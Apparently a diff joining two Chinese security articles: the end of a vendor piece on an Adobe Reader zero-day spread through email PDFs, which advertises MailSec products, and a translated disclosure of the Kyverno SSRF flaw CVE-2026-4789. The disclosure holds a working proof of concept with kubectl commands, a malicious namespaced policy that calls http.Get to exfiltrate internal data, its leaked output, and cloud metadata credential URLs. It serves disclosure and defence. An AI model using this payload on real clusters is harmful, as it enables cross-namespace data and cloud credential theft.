<table><thead><tr><th data-colwidth="153" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><section><span leaf="">传统防御手段</span></section></th><th style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><section><span leaf="">为何失效</span></section></th></tr></thead><tbody><tr><td data-colwidth="153" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf=""> 特征码杀毒</span></section></td><td style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">零日漏洞无特征码，杀毒引擎"看不见"</span></section></td></tr><tr><td data-colwidth="153" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">URL黑名单</span></section></td><td style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">攻击不依赖外部链接，数据通过其他渠道外传</span></section></td></tr><tr><td data-colwidth="153" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">沙箱检测（传统）</span></section></td><td style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">如果沙箱不模拟完整的Reader环境，可能漏过</span></section></td></tr><tr><td data-colwidth="153" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">静态PDF分析</span></section></td><td style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;text-indent: 0px;margin-bottom: 0px;"><span leaf="">JavaScript代码在Reader内执行，静态分析无法触发</span></section></td></tr></tbody></table>
|
||||
|
||||
安全专家Kellman Meghu评论称："这是一个非常高的风险漏洞。目前看起来只是数据外泄，但已经证明攻击者有能力将其转化为远程代码执行的载体。"
|
||||
## 三、为什么这类攻击特别危险？
|
||||
### 3.1 "打补丁"治标不治本
|
||||
|
||||
很多企业的反应是："等Adobe发布补丁就好了"。但事情没那么简单：
|
||||
- • **空窗期长**
|
||||
：从漏洞被发现到厂商发布补丁，可能需要数周甚至数月
|
||||
|
||||
- • **补丁不一定及时**
|
||||
：企业终端数量多、版本杂，统一推送更新需要时间
|
||||
|
||||
- • **变种快**
|
||||
：即便修复了当前漏洞，攻击者可能很快发现新的绕过后门
|
||||
|
||||
### 3.2 邮件是天然的"特洛伊木马"
|
||||
|
||||
邮件附件之所以危险，是因为它的传播路径天然符合社工攻击的逻辑：
|
||||
1. 1. **信任感**
|
||||
：来自同事、合作方的邮件，天然让人放松警惕
|
||||
|
||||
1. 2. **紧迫感**
|
||||
：发票、合同、通知——文件名总让人想快点打开看看
|
||||
|
||||
1. 3. **普遍性**
|
||||
：PDF是全球通用的文档格式，没人觉得打开PDF有什么风险
|
||||
|
||||
SANS研究所研究院长Johannes Ullrich指出："Adobe Acrobat和Reader一直是复杂攻击的目标。这些漏洞通常利用JavaScript功能，或利用PDF内嵌各种文档类型的能力。许多恶意软件过滤器会检测并标记这类文档为恶意。"
|
||||
## 四、网际思安如何防御这类攻击？
|
||||
|
||||
面对Adobe Reader零日漏洞这类"看不见"的威胁，传统的静态防御已经不够。**网际思安的MailSec邮件安全网关与APT检测沙箱，构建了"动静结合"的纵深防御体系**
|
||||
，可以从多个维度发现并阻断这类攻击。
|
||||
|
||||
|
||||
### 4.1 第一道防线：MailSec邮件安全网关（静态检测）
|
||||
|
||||
邮件进入企业时，网关会进行多层级检测：
|
||||
- • **连接层验证**
|
||||
：IP信誉、RBL黑名单、SPF/DKIM/DMARC协议验证
|
||||
|
||||
- • **应用层分析**
|
||||
：发件人身份真实性、发件频率异常检测
|
||||
|
||||
- • **内容层扫描**
|
||||
：敏感词匹配、BEC诈骗检测、URL提取
|
||||
|
||||
虽然零日漏洞可能绕过静态检测，但网关会记录邮件的所有元数据，为后续溯源提供依据。
|
||||
### 4.2 第二道防线：MailSec邮件APT检测沙箱（动态行为分析）
|
||||
|
||||
**这是对付零日漏洞攻击的核心武器。**
|
||||
|
||||
当邮件附件进入沙箱后，系统会在**完全隔离的Windows虚拟环境**
|
||||
中，模拟真实用户打开PDF的全过程：
|
||||
```
|
||||
沙箱检测流程：提取附件 → 在隔离环境中运行PDF → 监控行为 → 判定威胁等级
|
||||
```
|
||||
|
||||
沙箱会监控以下关键行为：
|
||||
|
||||
<table><thead><tr><th data-colwidth="246" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><section style="text-align: left;"><span leaf="">监控维度</span></section></th><th style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><section><span leaf="">关注内容</span></section></th></tr></thead><tbody><tr><td data-colwidth="246" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">文件系统操作</span></section></td><td style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">是否创建/修改敏感文件</span></section></td></tr><tr><td data-colwidth="246" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">注册表行为</span></section></td><td style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">是否修改系统启动项</span></section></td></tr><tr><td data-colwidth="246" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">网络连接</span></section></td><td style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">是否尝试建立异常连接</span></section></td></tr><tr><td data-colwidth="246" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">进程注入</span></section></td><td style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">是否启动可疑子进程</span></section></td></tr><tr><td data-colwidth="246" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">API调用</span></section></td><td style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">是否调用敏感系统接口</span></section></td></tr></tbody></table>
|
||||
|
||||
**即便PDF中嵌入了利用零日漏洞的JavaScript代码，只要它在沙箱中表现出恶意行为——如试图修改注册表、建立网络连接——就会被精准捕获并标记为威胁。**
|
||||
### 4.3 第三道防线：恶意附件的深度解析
|
||||
|
||||
网际思安的沙箱还具备**多层嵌套内容解析能力**
|
||||
：
|
||||
- • 支持解析PDF内部嵌入的内容
|
||||
|
||||
- • 支持提取图片/二维码中的隐藏信息
|
||||
|
||||
- • 支持识别多态变种和混淆加密代码
|
||||
|
||||
**即使攻击者将恶意代码藏在PDF深处，沙箱也能逐层剥离，发现其真实意图。**
|
||||
### 4.4 威胁情报实时赋能
|
||||
|
||||
网际思安的麦赛安全实验室持续追踪全球最新威胁态势。一旦某类新型攻击手法被识别，相关情报会在**数分钟内**
|
||||
同步至所有网际思安设备，确保客户始终处于防御最前沿。
|
||||
## 五、企业应该怎么做？
|
||||
### 5.1 短期措施
|
||||
1. **禁用Adobe Reader的JavaScript执行**
|
||||
|
||||
安全专家建议：暂时禁用Acrobat JavaScript，直到有官方补丁。具体路径：编辑 → 首选参数 → JavaScript → 取消勾选"启用Adobe JavaScript"
|
||||
|
||||
|
||||
1. 提高全员安全意识
|
||||
|
||||
- • 不打开来源不明的PDF附件
|
||||
|
||||
- • 对"紧急""重要"类邮件保持警惕
|
||||
|
||||
- • 发现异常立即上报IT部门
|
||||
|
||||
1.
|
||||
1. 3. 部署网际思安APT检测沙箱
|
||||
|
||||
1. 对所有可疑邮件附件进行动态行为分析，将零日威胁拦截在到达用户终端之前
|
||||
|
||||
### 5.2 中长期策略
|
||||
|
||||
<table><thead><tr><th data-colwidth="248" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><section style="text-align: left;"><span leaf="">措施</span></section></th><th style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><section><span leaf="">说明</span></section></th></tr></thead><tbody><tr><td data-colwidth="248" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">邮件安全网关</span></section></td><td style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">构建入站防护的第一道防线</span></section></td></tr><tr><td data-colwidth="248" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">APT沙箱检测</span></section></td><td style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">对付零日漏洞和高级威胁</span></section></td></tr><tr><td data-colwidth="248" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">邮件防泄密网关</span></section></td><td style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">防止敏感数据通过邮件外泄</span></section></td></tr><tr><td data-colwidth="248" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">邮件归档管理</span></section></td><td style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">合规留存，支持事后取证</span></section></td></tr><tr><td data-colwidth="248" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">定期安全演练</span></section></td><td style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;"><section style="text-align: left;"><span leaf="">通过钓鱼邮件演练提升员工识别能力</span></section></td></tr></tbody></table>
|
||||
## 六、写在最后
|
||||
|
||||
Adobe Reader零日漏洞攻击再次证明：**邮件安全没有一劳永逸的解决方案。**
|
||||
|
||||
攻击者在进化，防御也必须进化。
|
||||
|
||||
传统防火墙+杀毒软件的组合，已经无法应对今天的高级威胁。企业需要的是一套**覆盖邮件全生命周期**
|
||||
的纵深防御体系——从入站检测到动态沙箱分析，从威胁情报到安全演练，每个环节都不可或缺。
|
||||
|
||||
**如果您的企业正在寻找应对高级邮件威胁的解决方案，网际思安可以为您提供：**
|
||||
- • 📩 **MailSec邮件安全网关**
|
||||
：入站防护第一道防线
|
||||
|
||||
- • 🛡️ **MailSec邮件APT检测沙箱**
|
||||
：未知威胁的终极猎手
|
||||
|
||||
- • 🔒 **MailSec邮件防泄密网关**
|
||||
：核心数据的外发屏障
|
||||
|
||||
- • 📋 **MailSec邮件归档管理系统**
|
||||
：合规留存与快速取证
|
||||
|
||||
**现在联系网际思安，即可获得免费技术方案咨询和产品试用资格。**
|
||||
|
||||
📞 **全国服务热线：400-099-6608**
|
||||
|
||||
🌐 **官方网站：www.mailsec.cn**
|
||||
|
||||
|
||||
@@ -0,0 +1,288 @@
|
||||
# 打破K8s命名空间隔离：CVE-2026-4789 Kyverno漏洞详解
|
||||
Dubito
|
||||
Dubito 云原生安全指北 2026-04-13 00:35
|
||||
|
||||
|
||||
|
||||
> 注：本文翻译自 ORCA Security 的文章
|
||||
《Kyverno SSRF: Breaking Kubernetes Namespace Isolation (CVE-2026-4789)》[1]
|
||||
，可点击文末“阅读原文”按钮查看英文原文。
|
||||
|
||||
|
||||
全文如下：
|
||||
## 摘要
|
||||
|
||||
Kyverno 1.16.0 及更高版本中存在一个严重的 SSRF（Server-Side Request Forgery，服务端请求伪造，指攻击者诱使服务器以其身份发起 HTTP 请求）漏洞。拥有 Namespace 范围权限的用户可迫使 Kyverno 准入控制器（Admission Controller）Pod 发起任意 HTTP 请求，从而完全绕过 Kubernetes RBAC 机制。这将导致攻击者能够访问集群内部服务、窃取跨 Namespace 数据，并通过元数据端点（Metadata Endpoint）窃取云服务凭证。目前尚未观测到该漏洞被主动利用。修复代码已合并至 Kyverno 主分支（PR [#15789]()
|
||||
，2026 年 4 月 6 日），但尚未发布包含补丁的正式版本。
|
||||
|
||||
**注：**
|
||||
NVD 评估向量显示为 PR:N（无需任何权限）[2]
|
||||
。但实际上，漏洞利用需要具备 Namespace 范围内的策略创建权限（PR:L），除此之外无需额外的身份认证。
|
||||
|
||||
<table><thead><tr><th style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><section><span leaf="">属性</span></section></th><th style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><section><span leaf="">详情</span></section></th></tr></thead><tbody><tr><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">CVE 编号</span></section></td><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><strong style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: inherit;color: rgba(255, 143, 38, 1);font-weight: bold;"><span leaf="">CVE-2026-4789</span></strong></td></tr><tr><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">严重性</span></section></td><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><strong style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: inherit;color: rgba(255, 143, 38, 1);font-weight: bold;"><span leaf="">严重（CVSS 9.8，NVD）</span></strong></td></tr><tr><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">CWE 类型</span></section></td><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">CWE-918（服务端请求伪造）</span></section></td></tr><tr><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">受影响版本</span></section></td><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">>= 1.16.0</span></section></td></tr><tr><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">所需权限</span></section></td><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">低（Namespace 范围内的策略创建权限）</spaLine truncated
|
||||
## 一、什么是 Kyverno？
|
||||
|
||||
Kyverno 是一款
|
||||
Kubernetes 原生策略引擎[3]
|
||||
，以动态准入控制器（Admission Controller）形式运行。准入控制器是一个在 API 请求持久化至 Kubernetes API Server 之前对其进行拦截的组件，可用于验证、修改或拒绝请求。企业通常使用 Kyverno 来强制执行 Pod 安全标准（Pod Security Standards）、校验镜像签名及确保合规性。
|
||||
|
||||
Kyverno 支持两类策略：集群范围策略（Cluster-scoped Policies，需具备 cluster-admin
|
||||
权限方可创建）和命名空间策略（Namespaced Policies，可将管理权限下放至 Namespace 管理员）。其安全模型假定命名空间策略的作用域仅限于其所属的 Namespace。该漏洞打破了这一假定。
|
||||
## 二、深入剖析：漏洞代码详情
|
||||
|
||||
Kyverno 1.16.0 引入了基于 CEL 的策略支持。CEL（Common Expression Language，通用表达式语言）是一种用于 Kubernetes 内联策略逻辑的轻量级表达式语言。相关 http.Get()
|
||||
和 http.Post()
|
||||
函数也随之引入。漏洞根源在于策略编译器（Policy Compiler）初始化 HTTP 库的方式存在缺陷。
|
||||
### 2.1 安全机制的不一致性
|
||||
|
||||
对比 Kyverno 两个 CEL 库在处理 Namespace 作用域时的差异：
|
||||
|
||||
**resource.Lib —— 安全（强制执行 Namespace 隔离）**
|
||||
```
|
||||
resource.Lib( resource.Context{ContextInterface: libsctx}, namespace, // 强制执行 namespace 参数 resource.Latest(),)
|
||||
```
|
||||
|
||||
**http.Lib —— 存在漏洞（未强制执行 Namespace 隔离）**
|
||||
```
|
||||
http.Lib( http.Context{ContextInterface: http.NewHTTP(nil)}, http.Latest(), // 无 namespace 参数，无 URL 校验)
|
||||
```
|
||||
|
||||
resource.Lib
|
||||
接收 namespace
|
||||
参数并据此限制访问范围。http.Lib
|
||||
则未接收此类参数。这种不一致性是根本原因：一个库在设计时考虑了 Namespace 隔离，而另一个库则没有。
|
||||
### 2.2 存在漏洞的函数
|
||||
|
||||
**位置：**
|
||||
pkg/cel/libs/http/http.go（现位于 kyverno/sdk 中）
|
||||
```
|
||||
func (r *contextImpl) Get(url string, headers map[string]string) (any, error) { req, err := http.NewRequestWithContext(context.TODO(), "GET", url, nil) // 直接使用了 url —— 未做任何校验 // 无针对 169.254.169.254 的黑名单机制 // 无 Namespace 限制 // 无目标地址检查 for k, v := range headers { req.Header.Add(k, v) } resp, err := r.client.Do(req) ...}
|
||||
```
|
||||
## 三、为何这会破坏 Namespace 隔离机制
|
||||
|
||||
**关键洞见：**
|
||||
问题的关键在于 HTTP 请求的 **发起位置**
|
||||
，而非策略的 **编写者**
|
||||
。
|
||||
|
||||
当命名空间策略调用 http.Get()
|
||||
时，请求并非以策略编写者的身份执行，而是从 Kyverno 准入控制器（Admission Controller）Pod 发出。该 Pod 通常运行在
|
||||
kyverno
|
||||
Namespace[4]
|
||||
中，并具有特殊的网络位置优势：
|
||||
- • **集群范围网络访问能力：**
|
||||
可通过 http://service.any-namespace.svc.cluster.local
|
||||
访问任意 Service。
|
||||
|
||||
- • **云元数据访问能力：**
|
||||
可访问 http://169.254.169.254/…
|
||||
（云厂商的实例元数据服务）。
|
||||
|
||||
- • **RBAC 绕过：**
|
||||
HTTP 请求属于网络调用，而非 Kubernetes API 调用。Kubernetes RBAC（Role-Based Access Control，基于角色的访问控制，用于管理通过 API 执行操作权限的系统）对原始网络流量不产生约束。
|
||||
|
||||
这也解释了
|
||||
此漏洞为何属于严重级别[5]
|
||||
。本应仅在其自身
|
||||
命名空间
|
||||
内拥有权限的
|
||||
命名空间
|
||||
管理员，现在可以触及 Kyverno Pod 网络栈能够访问的任何目标。“命名空间范围”与“集群范围”之间的信任边界已然瓦解。
|
||||
## 四、概念验证（PoC）步骤详解
|
||||
> 测试环境：Kyverno v1.16.2、Helm Chart 3.6.2、Kubernetes v1.35.0
|
||||
|
||||
### 4.1 第一步：验证攻击者无权访问 kube-system
|
||||
```
|
||||
$ kubectl auth can-i get pods -n kube-system \ --as=system:serviceaccount:attacker-ns:namespace-adminno
|
||||
```
|
||||
```
|
||||
$ kubectl auth can-i get services -n kube-system \ --as=system:serviceaccount:attacker-ns:namespace-adminno
|
||||
```
|
||||
### 4.2 第二步：创建恶意命名空间策略
|
||||
|
||||
攻击者在其自身
|
||||
命名空间
|
||||
中创建一个 NamespacedValidatingPolicy
|
||||
资源。此操作仅需 Namespace 级别权限，无需 cluster-admin
|
||||
权限：
|
||||
```
|
||||
apiVersion: policies.kyverno.io/v1beta1kind: NamespacedValidatingPolicymetadata: name: cel-ssrf-exploit namespace: attacker-nsspec: matchConstraints: resourceRules: - apiGroups: [""] resources: ["configmaps"] operations: ["CREATE"] variables: - name: stolenData expression: | http.Get('http://internal-api.kube-system.svc.cluster.local') validations: - expression: "false" messageExpression: | 'EXFILTRATED: ' + string(variables.stolenData)
|
||||
```
|
||||
### 4.3 第三步：触发策略并观察泄露数据
|
||||
```
|
||||
$ kubectl create configmap trigger --from-literal=x=y -n attacker-ns \ --as=system:serviceaccount:attacker-ns:namespace-admin
|
||||
```
|
||||
|
||||
**结果（来自在 kube-system 中部署了测试 Service 的 kind 集群 PoC 验证）：**
|
||||
```
|
||||
error: failed to create configmap: admission webhook"nvpol.validate.kyverno.svc-fail" denied the request:SSRF_LEAKED: secret=STOLEN_INTERNAL_SECRET_12345token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
|
||||
```
|
||||
|
||||
此 PoC 脚本在 kube-system
|
||||
中设置了一个测试 Service（基于 hashicorp/http-echo
|
||||
），其中包含已知的占位符值，随后利用漏洞将其窃取。攻击者虽对 kube-system
|
||||
的 RBAC 访问权限为零，但仍成功从 Kyverno Pod 向另一个
|
||||
命名空间
|
||||
中的内部服务发起了 HTTP 请求。响应数据被回显在准入 Webhook 的错误信息中。完整的自动化 PoC 脚本创建一个 kind
|
||||
集群、安装 Kyverno，并端到端地演示完整的漏洞利用链。
|
||||
## 五、云元数据：关键风险所在
|
||||
|
||||
云元数据端点（即位于 169.254.169.254 的内部 HTTP 服务，云厂商通过它向虚拟机分发凭证和配置信息）仅依据网络位置进行身份认证。只要你的 Pod 能访问该端点，就能获取凭证。无需密码、无需令牌、无需任何认证流程。这是云厂商的既定设计。
|
||||
|
||||
这意味着，在托管于云上的 Kubernetes 集群中，利用此 SSRF 漏洞的攻击者可能窃取到临时云凭证（AWS 上的 IAM 角色密钥、GCP 上的服务账号令牌、Azure 上的托管身份令牌）。这些凭证可使攻击者进一步横向移动，甚至完全跳出集群边界，访问云上的其他资源。
|
||||
|
||||
<table><thead><tr><th style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><section><span leaf="">云厂商</span></section></th><th style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><section><span leaf="">凭证端点</span></section></th><th style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);"><section><span leaf="">认证方式</span></section></th></tr></thead><tbody><tr><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">AWS</span></section></td><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">http://169.254.169.254/latest/meta-data/iam/security-credentials/</span></section></td><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">无</span></section></td></tr><tr><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">GCP</span></section></td><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/</span></section></td><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">仅需特定 Header</span></section></td></tr><tr><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">Azure</span></section></td><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01</span></section></td><td style="text-align: left;line-height: 1.75;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;border: 1px solid #dfdfdf;padding: 0.5em 1em;color: #3f3f3f;word-break: keep-all;"><section><span leaf="">无</span></section></td></tr></tbody></table>
|
||||
## 六、准入控制器作为 SSRF 目标：一种更广泛的模式
|
||||
|
||||
